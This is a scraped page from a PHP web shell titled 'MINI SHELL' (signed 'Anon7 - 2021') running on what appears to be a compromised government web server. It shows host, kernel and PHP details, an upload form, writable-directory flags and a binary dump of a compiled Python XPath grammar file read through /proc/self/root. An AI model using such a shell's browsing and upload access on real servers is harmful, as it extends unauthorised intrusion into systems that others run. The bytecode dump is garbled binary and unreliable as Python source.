MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/xpath/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/usr/lib/python2.4/site-packages/_xmlplus/xpath/XPathGrammar.pyc
mò
Çe=c
@sªdkTdkZdkTdefd„ƒYZdefd„ƒYZd„ZdkZdkZdZ	e	de	Z
d	e	d
e	de
de	d
e	dZeieei
ƒZddddgZdddddddddddddg
Zeed d!d"d#ged$d%d&d'd(d)d*d+d,d-g
ƒd.d/gZeid0jo
d1„Zn
d2„Zdfd3„ƒYZdkZdkZeZdefd4„ƒYZdS(5(t*NtXPathScannerc(BsÃtZdeidƒfdeidƒfdeidƒfdeidƒfd	eid
ƒfdeidƒfd
eidƒfdeidƒfdeidƒfdeidƒfdeidƒfdeidƒfdeidƒfdeidƒfdeidƒfdeid ƒfd!eid"ƒfd#eid$ƒfd%eid&ƒfd'eid(ƒfd)eid*ƒfd+eid,ƒfd-eid.ƒfd/eid0ƒfd1eid2ƒfd3eid4ƒfd5eid6ƒfd7eid2ƒfd8eid9ƒfd:eid;ƒfd<eid=ƒfd>eid?ƒfd@eidAƒfdBeidCƒfdDeidEƒfdFeidGƒfdHeidIƒfdJeidKƒfg&ZdL„ZRS(MNs'mod'tmods'div'tdivs'-'t-s'>='s>=s'>'t>s'<='s<=s'<'t<s'!='s!=s'='t=s'and'tands'or'tors','t,s'@'t@s'::'s::s'//'s//s'/'t/tLiterals"[^"]*"|'[^']*tNumbers\d+(.\d*)?|.\d+tVariableReferences\$[a-zA-Z_][:a-zA-Z0-9_.-]*tNodeTypes(comment|text|processing-instruction|nodetAxisNames•ancestor|ancestor-or-self|attribute|child|descendant|descendant-or-self|following|following-sibling|namespace|parent|preceding|preceding-sibling|selftNCNames[a-zA-Z_][a-zA-Z0-9_.-]*t
NCNameStars-zA-Z_][a-zA-Z0-9_.-]*:\*tQNames3[a-zA-Z_][a-zA-Z0-9_.-]*(:[a-zA-Z_][a-zA-Z0-9_.-])?tMultiplyOperators\*tLPARENs\(tRPARENs\)tSTARtPLUSs\+tLBRACKETs\[tRBRACKETs\]tFunctionNames4[a-zA-Z_][a-zA-Z0-9_.-]*(:[a-zA-Z_][a-zA-Z0-9_.-]*)?tDOTs\.tDOTDOTs\.\.tBARs\|tENDt#tIDtidtKEYtkeycCsti|dg|ƒdS(N(tScannert__init__tselftNonetstr(R(R*((t?/usr/lib/python2.4/site-packages/_xmlplus/xpath/XPathGrammar.pyR'@s(t__name__t
__module__tretcompiletpatternsR'(((R+Rsÿÿ´(tXPathcBsÜtZd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z	d	„Z
d
„Zd„Zd„Z
d
„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Zd„Z d „Z!d!„Z"d"„Z#d#„Z$d$„Z%d%„Z&d&„Z'd'„Z(d(„Z)d)„Z*d*„Z+d+„Z,d,„Z-d-„Z.d.„Z/d/„Z0d0„Z1d1„Z2d2„Z3d3„Z4d4„Z5RS(5NcCs|iƒ}|idƒ}|S(NR (R(tLocationPatht_scanR (R(R R2((R+tStartDscCs|iƒ}|idƒ}|S(NR (R(tExprR3R (R(R5R ((R+tFullExprIsc
Cs…|iƒ}|ddddddddd	g	jo|iƒ}|Sn:|d
dgjo|iƒ}|Snt|idƒ‚dS(
NRRRRs'@'RRRRs'/'s'//'sCould not match LocationPath(R(t_peekt_token_tRelativeLocationPathtAbsoluteLocationPathtSyntaxErrort_pos(R(R:R9R8((R+R2Ns(cCsz|iƒ}|djo*|idƒ|iƒ}|i|ƒSn4|djo|iƒ}|Snt|idƒ‚dS(Ns'/'s'//'s$Could not match AbsoluteLocationPath(	R(R7R8R3tOptRelativeLocationPathtabsoluteLocationPathtAbbreviatedAbsoluteLocationPathR;R<(R(R=R8R?((R+R:Ys


cCsµ|iƒ}|ddddddddd	d
ddd
dddddddgjodSnU|ddddddd
ddddgjo|iƒ}|Snt|idƒ‚dS(Ns'@'s'::'s'//'s'/'R
RRRRRRRRRRRRRR"R$s'Could not match OptRelativeLocationPath(R(R7R8R)R9R;R<(R(R9R8((R+R=esI.cCs|iƒ}|i|ƒ}|S(N(R(tSteptRelativeLocationPaths(R(R@RA((R+R9oscCs|iƒ}|ddddddddd	d
ddd
dddddddgjo|Sn¥|djo<|idƒ|iƒ}|i|i||ƒƒ}|Sn\|djo<|idƒ|iƒ}|i|i||ƒƒ}|Snt	|i
dƒ‚dS(Ns'@'s'::'s'//'s'/'R
RRRRRRRRRRRRRR"R$s%Could not match RelativeLocationPaths(R(R7R8tvR3R@RAtrlptarlpR;R<(R(RBR8R@RA((R+RAtsI



cCs¦|iƒ}|dddddddgjo;|iƒ}|iƒ}|iƒ}|i|||ƒSn:|dd	gjo|iƒ}|Snt|i	d
ƒ‚dS(NRRs'@'RRRRRRsCould not match Step(
R(R7R8t
AxisSpecifiertNodeTestt
PredicateststeptAbbreviatedStepR;R<(R(RFRER8RGRI((R+R@…s"cCs¡|iƒ}|ddddddddd	d
ddd
dddddgjogSnG|d
jo'|iƒ}|iƒ}|g|Snt|idƒ‚dS(Ns'@'s'::'R
RRRRRRRRRRRRRR"R$sCould not match Predicates(R(R7R8t	PredicateRGR;R<(R(RGRJR8((R+RG’sC
cCs–|iƒ}|djo4|idƒ}|idƒ|i|i|ƒSnF|ddddddgjo|iƒ}|Snt|i	d	ƒ‚dS(
NRs'::'s'@'RRRRRsCould not match AxisSpecifier(
R(R7R8R3Rt
axisSpecifiertanMaptAbbreviatedAxisSpecifierR;R<(R(RMR8R((R+REs

cCs©|iƒ}|ddddgjo|iƒ}|Snm|djoM|idƒ}|idƒ}|iƒ}|idƒ}|i	||ƒSnt
|idƒ‚dS(	NRRRRRRRsCould not match NodeTest(R(R7R8tNameTestR3RRt
OptLiteralRt
mkNodeTestR;R<(R(RRNROR8RR((R+RF©s
cCs[|iƒ}|djodSn7|djo|idƒ}|Snt|idƒ‚dS(NRR
sCould not match OptLiteral(R(R7R8R)R3R
R;R<(R(R
R8((R+RO·s

cCsã|iƒ}|djo#|idƒ}|iddƒSn¤|djo |idƒ}|i|ƒSnw|djo'|idƒ}|i|d dƒSnC|djo#|idƒ}|id|ƒSnt|idƒ‚dS(NRRRRiþÿÿÿRsCould not match NameTest(
R(R7R8R3RtnameTestR)RtmkQNameRRR;R<(R(RRRR8R((R+RNÁs



cCs.|idƒ}|iƒ}|idƒ}|S(NRR(R(R3Rt
PredicateExprR(R(RRSR((R+RJÒscCs|iƒ}|S(N(R(R5(R(R5((R+RSØscCs&|idƒ|iƒ}|i|ƒS(Ns'//'(R(R3R9taalp(R(R9((R+R?Üs
cCs||iƒ}|djo |idƒ}|idƒSn@|djo |idƒ}|idƒSnt|idƒ‚dS(NRiRisCould not match AbbreviatedStep(	R(R7R8R3RtabbreviatedStepRR;R<(R(RR8R((R+RIás

cCs€|iƒ}|dddddgjo|itiƒSnA|djo!|idƒ|itiƒSnt|i	dƒ‚dS(NRRRRRs'@'s(Could not match AbbreviatedAxisSpecifier(
R(R7R8RKtpyxpatht
CHILD_AXISR3tATTRIBUTE_AXISR;R<(R(R8((R+RMìs

cCs|iƒ}|S(N(R(tOrExpr(R(RY((R+R5ösc	Cs|iƒ}|djo |idƒ}|i|ƒSnÖ|djo2|idƒ}|iƒ}|idƒ}|Sn—|djo |idƒ}|i
|ƒSnj|djo |idƒ}|i|ƒSn=|dddgjo|i
ƒ}|Snt|id	ƒ‚dS(
NRRRR
RRR"R$sCould not match PrimaryExpr(R(R7R8R3RtmkVariableReferenceRR5RR
tliteralRtnumbertFunctionCallR;R<(	R(RR5R
RRR8R]R((R+tPrimaryExprús&



cCs6|iƒ}|djoM|idƒ}|idƒ}|iƒ}|idƒ}|i||ƒSnÍ|djoP|idƒ}|idƒ}|iƒ}|idƒ}|i
dd|ƒSnp|djoP|idƒ}|idƒ}|iƒ}|idƒ}|i
dd|ƒSnt
|idƒ‚dS(	NRRRR"R#R$R%sCould not match FunctionCall(R(R7R8R3RRt	ArgumentsRtmkFunctionCallR"tfunctionCallR)R$R;R<(R(RRR$R8R_RR"((R+R]s(


cCs |iƒ}|djogSn||dddddddd	d
ddd
ddddddgjo&|iƒ}|i|gƒ}|Snt|idƒ‚dS(NRs'mod's'div's'>='s'>'s'<='s'<'s'!='s'='s'and's'or's','s'::'RRRRRR sCould not match Arguments(R(R7R8tArgumenttKommaArgumentsR;R<(R(R8RcRb((R+R_'s
CcCs{|iƒ}|djo|SnW|djo7|idƒ|iƒ}|i||gƒ}|Snt|idƒ‚dS(NRs','sCould not match KommaArguments(	R(R7R8RBR3RbRcR;R<(R(RBRcRbR8((R+Rc2s


cCs|iƒ}|S(N(R(R5(R(R5((R+Rb>scCs|iƒ}|i|ƒ}|S(N(R(tPathExprt
UnionExprs(R(RdRe((R+t	UnionExprBscCsÇ|iƒ}|ddddddddd	d
ddd
ddddddddgjo|Snd|djoD|idƒ}|iƒ}|i|i|i	||ƒƒ}|Snt
|idƒ‚dS(Ns'@'s'::'s'//'s'/'R
RRRRRRRRRRRRRRR"R$sCould not match UnionExprs(R(R7R8RBR3RRdRetnoptUNIONR;R<(R(RBRR8RdRe((R+ReGsL
!cCs©|iƒ}|ddddddddd	d
dgjo|iƒ}|SnX|dd
dddddgjo#|iƒ}|i|ƒ}|Snt|idƒ‚dS(Ns'/'s'//'RRRRs'@'RRRRRRR
RRR"R$sCould not match PathExpr(R(R7R8R2t
FilterExprtPathExprRestR;R<(R(RiR8RjR2((R+RdSs."cCsç|iƒ}|ddddddddd	d
ddd
dddddddgjo|Sn‡|djo-|idƒ|iƒ}|i||ƒSnM|djo-|idƒ|iƒ}|i||ƒSnt|i	dƒ‚dS(Ns'@'s'::'s'//'s'/'R
RRRRRRRRRRRRRR"R$sCould not match PathExprRest(
R(R7R8RBR3R9tpathExprtabbreviatedPathExprR;R<(R(RBR9R8((R+Rj_sI



cCs|iƒ}|i|ƒ}|S(N(R(R^tFilterExprs(R(R^Rm((R+RinscCs×|iƒ}|ddddddddd	d
ddd
dddddgjo|Sn}|d
jo]|iƒ}|g}x1|iƒd
jo|iƒ}|i|ƒq|W|i||ƒSnt|i	dƒ‚dS(Ns'@'s'::'R
RRRRRRRRRRRRRR"R$sCould not match FilterExprs(
R(R7R8RBRJtetappendt
filterExprR;R<(R(RBRJRnR8((R+RmssC
	cCs|iƒ}|i|ƒ}|S(N(R(tAndExprtOrExprs(R(RqRr((R+RYscCs’|iƒ}|djoB|idƒ|iƒ}|i|i|i||ƒƒ}|Sn4|ddddgjo|Snt	|i
dƒ‚dS(Ns'or'R RRs','sCould not match OrExprs(R(R7R8R3RqRrtboptORRBR;R<(R(RBRrR8Rq((R+Rr†s

!cCs|iƒ}|i|ƒ}|S(N(R(tEqualityExprtAndExprs(R(RvRu((R+Rq’scCs•|iƒ}|djoB|idƒ|iƒ}|i|i|i||ƒƒ}|Sn7|dddddgjo|Snt	|i
dƒ‚dS(Ns'and's'or'R RRs','sCould not match AndExprs(R(R7R8R3RuRvRstANDRBR;R<(R(RBRvR8Ru((R+Rv—s

!cCs|iƒ}|i|ƒ}|S(N(R(tRelationalExprt
EqualityExprs(R(RxRy((R+Ru£scCsç|iƒ}|djoB|idƒ|iƒ}|i|i|i||ƒƒ}|Sn‰|djoB|idƒ|iƒ}|i|i|i	||ƒƒ}|Sn:|ddddddgjo|Snt
|id	ƒ‚dS(
Ns'='s'!='s'and's'or'R RRs','sCould not match EqualityExprs(R(R7R8R3RxRyRstEQRBtNEQR;R<(R(RBRxRyR8((R+Ry¨s

!

!cCs|iƒ}|i|ƒ}|S(N(R(tAdditiveExprtRelationalExprs(R(R|R}((R+Rx¹sc	Cs‹|iƒ}|djoB|idƒ|iƒ}|i|i|i||ƒƒ}|Sn-|djoB|idƒ|iƒ}|i|i|i	||ƒƒ}|SnÞ|djoB|idƒ|iƒ}|i|i|i
||ƒƒ}|Sn|djoB|idƒ|iƒ}|i|i|i||ƒƒ}|Sn@|ddddd	d
ddgjo|Snt|i
d
ƒ‚dS(Ns'<'s'<='s'>'s'>='s'='s'!='s'and's'or'R RRs','sCould not match RelationalExprs(R(R7R8R3R|R}RstLTRBtLEtGTtGER;R<(R(RBR8R}R|((R+R}¾s0

!

!

!

!%cCs|iƒ}|i|ƒ}|S(N(R(tMultiplicativeExprt
AdditiveExprs(R(R‚Rƒ((R+R|Ùsc
Csû|iƒ}|djoD|idƒ}|iƒ}|i|i|i||ƒƒ}|Sn›|djoB|idƒ|iƒ}|i|i|i	||ƒƒ}|SnL|ddddddd	d
ddd
dgjo|Snt
|idƒ‚dS(NRs'-'s'<'s'<='s'>'s'>='s'='s'!='s'and's'or'R RRs','sCould not match AdditiveExprs(R(R7R8R3RR‚RƒRgRBtMINUSR;R<(R(RBR‚RƒR8R((R+RƒÞs
!

!1cCs|iƒ}|i|ƒ}|S(N(R(t	UnaryExprtMultiplicativeExprs(R(R…R†((R+R‚ïscCse|iƒ}|djoD|idƒ}|iƒ}|i|i|i||ƒƒ}|Sn|djoB|idƒ|iƒ}|i|i|i
||ƒƒ}|Sn¶|djoB|idƒ|iƒ}|i|i|i||ƒƒ}|Sng|dddddd	d
ddd
dddddddddddgjo|Snt|i
dƒ‚dS(NRs'div's'mod's'@'s'::'s'//'s'/'R
RRRRRRRRRRRRRRR"R$s#Could not match MultiplicativeExprs(R(R7R8R3RR…R†RgtTIMESRBtDIVtMODR;R<(R(RBR†R…RR8((R+R†ôs&
!

!

!LcCs³|iƒ}|djo*|idƒ|iƒ}|i|ƒSnm|dddddddd	d
ddd
dddddddgjo|iƒ}|Snt|idƒ‚dS(Ns'-'s'mod's'div's'>='s'>'s'<='s'<'s'!='s'='s'and's'or's','s'::'RRRRRRR sCould not match UnaryExpr(	R(R7R8R3R…t	unaryExprRfR;R<(R(RfR8R…((R+R…
s

FcCs|iƒ}|idƒ}|S(NR (R(tPatternR3R (R(R‹R ((R+tFullPatternscCsb|iƒ}|i|ƒ}x@|iƒdjo,|idƒ}|iƒ}|i|ƒqW|S(NR(R(tLocationPathPatterntpatterntpR7R3RRo(R(RRR((R+R‹scCs|iƒ}|djo0|idƒ|iƒ}|idd|ƒSnÐ|ddgjo7|iƒ}|iƒ}|i||d|dƒSn†|dddd	d
ddgjo|i	ƒ}|SnP|d
jo0|id
ƒ|i	ƒ}|idd|ƒSnt
|idƒ‚dS(Ns'/'iR"R$iRs'@'RRRRRs'//'s#Could not match LocationPathPattern(R(R7R8R3tOptRelativePathPatterntlocationPathPatternR)tIdKeyPatterntIdTailtRelativePathPatternR;R<(R(R’R8R”RR“((R+R$s"

"

cCss|iƒ}|ddgjodSnI|ddddddd	gjo|iƒ}|Snt|id
ƒ‚dS(NRR Rs'@'RRRRRs&Could not match OptRelativePathPattern(R(R7R8R)R”R;R<(R(R8R”((R+R8s"cCs¥|iƒ}|ddgjodSn{|djo'|idƒ|iƒ}d|fSnG|djo'|idƒ|iƒ}d|fSnt|idƒ‚dS(	NRR is'/'is'//'sCould not match IdTail(iN(R(R7R8R)R3R”R;R<(R(R8R”((R+R“Bs



cCs|iƒ}|djoS|idƒ}|idƒ}|iƒ}|idƒ}|idd|gƒSn•|djou|idƒ}|idƒ}|iƒ}|}|idƒ|iƒ}|idƒ}|idd||gƒSnt|i
dƒ‚dS(	NR"RRR#R$s','R%sCould not match IdKeyPattern(R(R7R8R3R"RRbRRaR)R$ta1R;R<(R(RR$RbR•R8RR"((R+R’Qs"


cCsÓ|iƒ}|}xº|iƒddgjo |iƒ}|djo2|idƒ|iƒ}|i|d|ƒ}q|djo2|idƒ|iƒ}|i|d|ƒ}qt|idƒ‚qW|S(Ns'/'s'//'iis#Could not match RelativePathPattern(	R(tStepPatternRR7R8R3trppR;R<(R(RR–R8((R+R”es



cCse|iƒ}|iƒ}g}x1|iƒdjo|iƒ}|i|ƒq!W|i|||ƒS(NR(R(tChildOrAttributeAxisSpecifierRFtpredR7RJRotstepPattern(R(RFR™RJR˜((R+R–vscCs–|iƒ}|ddddddgjo|iƒ}|SnT|djo4|idƒ}|idƒ|i|i|ƒSnt|i	d	ƒ‚dS(
Ns'@'RRRRRRs'::'s-Could not match ChildOrAttributeAxisSpecifier(
R(R7R8RMR3RRKRLR;R<(R(RR8RM((R+R˜s

(6R,R-R4R6R2R:R=R9RAR@RGRERFRORNRJRSR?RIRMR5R^R]R_RcRbRfReRdRjRiRmRYRrRqRvRuRyRxR}R|RƒR‚R†R…RŒR‹RRR“R’R”R–R˜(((R+R1Csh					
			
				
						
																														
					cCstt|ƒƒ}t||ƒS(N(R1RttexttPtwrap_error_reportertrule(RžR›Rœ((R+tparseŒss[a-zA-Z_](\w|[_.-])*t:s\
  (?P<Literal>"[^"]*"|'[^']*')|
  (?P<Number>\d+(\.\d*)?|\.\d+)|
  (?P<VariableReference>\$s(:s)?)|
  (?P<QName>s)|
  (?P<NCNameStar>s:\*)|
  (?P<NCName>s)|
  (?P<LPAREN>\()|
  (?P<RPAREN>\))|
  (?P<STAR>\*)|
  (?P<PLUS>\+)|
  (?P<LBRACKET>\[)|
  (?P<RBRACKET>\])|
  (?P<DOTDOT>\.\.)|
  (?P<DOT>\.)|
  (?P<BAR>\|)|
  (?P<Operator>//|::|>=|<=|!=)|
  (?P<SingleOperator>[<>=,/@:-])|
  (?P<ExprWhiteSpace>[ 	

]+)
RR	RRtancestorsancestor-or-selft	attributetchildt
descendantsdescendant-or-selft	followingsfollowing-siblingt	namespacetparentt	precedingspreceding-siblingR(Rs::t(t[Rs//t+RRs!=Rs<=Rs>=RRicCs|i|iƒfS(N(tmatcht	lastgrouptgroup(R¬((R+t	_get_type»scCs~d}}xg|iƒiƒD]S\}}|djoqn|o tt	d|||fƒ‚n|}|}qW||fS(Nsambiguity:%s could be %s or %s(
R)ttypetvalR¬t	groupdicttitemsttRBR;tpos(R¬R±R´RBR°((R+R¯¾s


cBstZd„Zd„ZRS(NcCsåg|_}d}xØ|t|ƒjoÄti||ƒ}|pd}t	||ƒ‚nt
|ƒ\}}|djo|t|ƒ}qn|ddgjot
t|ƒƒ}n|}|t|ƒ}|i||||fƒqW|i||ddfƒx×tt|ƒdƒD]¿}	||	\}}}}d}
|	djo||	dd	tjow|d
jo d}||||f||	<qÝ|djo9|tjo,t
t|ƒƒ}||||f||	<qÝn||	d	d
dgjoŠ||	dd	djoq|ddddgjo
d}n5|djo
d}n|djo
d}nd}||||f||	<n||	d	djoF||	dddjo-|tjo d}||||f||	<qqWdS(Nis	Bad TokentExprWhiteSpacetSingleOperatortOperatorR tiiRRRRRtcommentR›sprocessing-instructiontnodeRR#R"R%R$Ris::R(R(ttokensRµtlentinputt
_xpath_expR¬tmtmsgR;R¯R°R±treprR*tstartRotrangetitstoptchangedtSpecialPrecedingtOperatorNameR(R(R¾RµR±RÃRÁR°RÆR¼RÅRÇRÀ((R+R'ÌsR

&
4




;cCs|i|S(N(R(R¼RÅ(R(RÅtexpected((R+ttokens(R,R-R'RË(((R+RËs	BcBs”tZeiZeiZeiZei	Z
eiZei
ZeiZeiZeiZeiZeiZeiZeiZeiZd„Zd„Z hdei!<dei"<dei#<dei$<dei%<dei&<d	ei'<d
ei(<dei)<dei*<d
ei+<dei,<dei-<Z.hdei/<dei0<dei1<dei2<Z3d„Z4d„Z5d„Z6d„Z7RS(NcCswti||ƒ||_|ii|_|ii|_|ii	|_
|ii|_|ii
|_|ii|_dS(N(tGeneratedXPathR'R(tscannertfactorytcreateRelativeLocationPathRCt%createAbbreviatedRelativeLocationPathRDt%createAbbreviatedAbsoluteLocationPathRTtcreateNumericExprRgtcreateBooleanExprRstcreateRelativePathPatternR—(R(RÍRÎ((R+R'$s	cCsZdti|dƒ|d}yt|i|ƒSWn tj
otd|‚nXdS(Ntcreateiisparser has no attribute (tstringtuppertnametnewnametgetattrR(RÎtAttributeError(R(RØRÙ((R+t__getattr__1s
R¡sancestor-or-selfR¢R£R¤sdescendant-or-selfR¥sfollowing-siblingR¦R§R¨spreceding-siblingR(R»RºR›sprocessing-instructioncCsQ|i|}|tijo!|dj	otd|ƒ‚n|i	i
||ƒS(Nsparameter not allowed for (R(tnodeTestMaptopR°RVtPROCESSING_INSTRUCTIONR±R)R;RÎtcreateNodeTest(R(RÞR±R°((R+RPPs
cCs+ti|dƒ\}}|ii||ƒS(NR (RÖtsplitR*tprefixtlocalR(RÎtcreateNameTest(R(R*RãRâ((R+RRVscCsVti|dƒ}|djo|id|dƒSn|i|d|!||dƒS(NR iÿÿÿÿi(RÖtfindtqnametcolonR(tvariableReferenceR)(R(RæRç((R+RZZs
cCsUti|dƒ}|djo|id||ƒSn|i|| ||d|ƒS(NR iÿÿÿÿi(RÖRåRæRçR(RaR)targs(R(RæRéRç((R+R``s
(8R,R-RVtOR_OPERATORRttAND_OPERATORRwtEQ_OPERATORRztNEQ_OPERATORR{tLT_OPERATORR~tGT_OPERATORR€tLE_OPERATORRtGE_OPERATORRt
PLUS_OPERATORRtMINUS_OPERATORR„tTIMES_OPERATORR‡tDIV_OPERATORRˆtMOD_OPERATORR‰tUNION_OPERATORRhR'RÜt
ANCESTOR_AXIStANCESTOR_OR_SELF_AXISRXRWtDESCENDANT_AXIStDESCENDANT_OR_SELF_AXIStFOLLOWING_AXIStFOLLOWING_SIBLING_AXIStNAMESPACE_AXIStPARENT_AXIStPRECEDING_AXIStPRECEDING_SIBLING_AXISt	SELF_AXISRLtNODEtCOMMENTtTEXTRßRÝRPRRRZR`(((R+R1s,															
	¢6			(RÖR.tyappsrtR&RtParserR1RŸtsysRRt	XPathExprR/tVERBOSER¿RÉRtmapRÂRÈt
hexversionR¯RVRÌ(R1RR¿RÈRRR¯RRÉRŸR.RRÌRVR	RÖ((R+t?s,	,ÿÿK	.-K
	
G

Anon7 - 2021